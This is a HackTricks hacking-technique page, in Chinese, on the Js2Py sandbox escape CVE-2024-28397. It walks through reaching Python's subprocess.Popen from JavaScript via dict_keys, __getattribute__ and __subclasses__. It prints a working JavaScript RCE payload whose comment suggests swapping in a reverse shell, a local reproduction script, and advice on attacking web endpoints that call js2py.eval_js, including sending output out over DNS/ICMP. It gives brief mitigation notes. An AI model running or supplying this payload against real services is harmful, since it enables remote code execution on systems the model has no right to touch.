Js2Py sandbox escape (CVE-2024-28397)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Js2Py 会把 JavaScript 翻译成 Python 对象,因此即便使用了 js2py.disable_pyimport(),不受信任的 JS 仍然可以遍历 Python 内部结构以到达诸如 subprocess.Popen 这样的危险类。版本 20.74 允许滥用 Js2Py 暴露给 JS 对象的 Python 反射原语,从而在原本“沙箱化”的 JavaScript 中获得 RCE。
Primitive: pivot from JS object wrappers to Python objects
- 获取一个由 Python 支撑的对象:
Object.getOwnPropertyNames({})在 Python 空间返回一个dict_keys对象。 - 恢复属性访问:从该对象获取
.__getattribute__并调用它以读取任意属性(例如"__class__")。 - 攀登到
object:从<class 'dict_keys'>读取.__base__以到达 Python 的基类object。 - 枚举已加载的类:调用
object.__subclasses__()遍历解释器中已加载的所有类。 - 找到
subprocess.Popen:递归搜索子类,查找满足__module__ == "subprocess"且__name__ == "Popen"的类。 - 执行命令:用攻击者控制的参数实例化 Popen 并调用
.communicate()捕获输出。
示例载荷:利用 Js2Py 到达 subprocess.Popen
```javascript // Replace cmd with desired payload (reverse shell / ping / etc.) let cmd = "id"; let hacked, bymarve, n11; let getattr, obj;hacked = Object.getOwnPropertyNames({}); // -> dict_keys([]) bymarve = hacked.getattribute; n11 = bymarve(“getattribute”); // attribute access primitive obj = n11(“class”).base; // pivot to <class ‘object’> getattr = obj.getattribute;
function findpopen(o) { let result; for (let i in o.subclasses()) { let item = o.subclasses()[i]; if (item.module == “subprocess” && item.name == “Popen”) { return item; } if (item.name != “type” && (result = findpopen(item))) { return result; } } }
// Popen(cmd, stdin/out/err pipes…) then .communicate() for output n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate(); console.log(n11); n11; // returned to caller if framework sends eval_js result back
</details>
为什么这有效:Js2Py 将 Python 对象包装器暴露给 JS,但并未剥离 `__getattribute__`、`__class__`、`__base__` 或 `__subclasses__`。`disable_pyimport()` 只阻止显式的 `pyimport`,但上述链条从未导入任何新的模块;它重用内存中已加载的模块和类。
## 在本地复现该链
```bash
# Js2Py 0.74 breaks on Python 3.12/3.13; pin 3.11 for testing
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
print(js2py.eval_js("Object.getOwnPropertyNames({})")) # dict_keys([])
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__")) # method-wrapper
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
print(js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
针对 web 沙箱 的操作
- 任何将攻击者控制的 JS 传入
js2py.eval_js的端点(例如 Flask 的/run_codeAPI),如果进程用户具有 shell 访问权限,则会直接导致 RCE。 - 当
.communicate()返回 bytes 时,返回jsonify({'result': result})会失败;应对输出进行 decode,或将输出发送到 DNS/ICMP 以绕过序列化阻碍。 disable_pyimport()不能 缓解此链;需要强隔离(独立进程/容器)或禁止 Js2Py 执行不受信任的代码。
References
- HTB: CodeTwo write-up (Js2Py CVE-2024-28397 escape)
- Marven11 CVE-2024-28397 Js2Py sandbox escape PoC
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


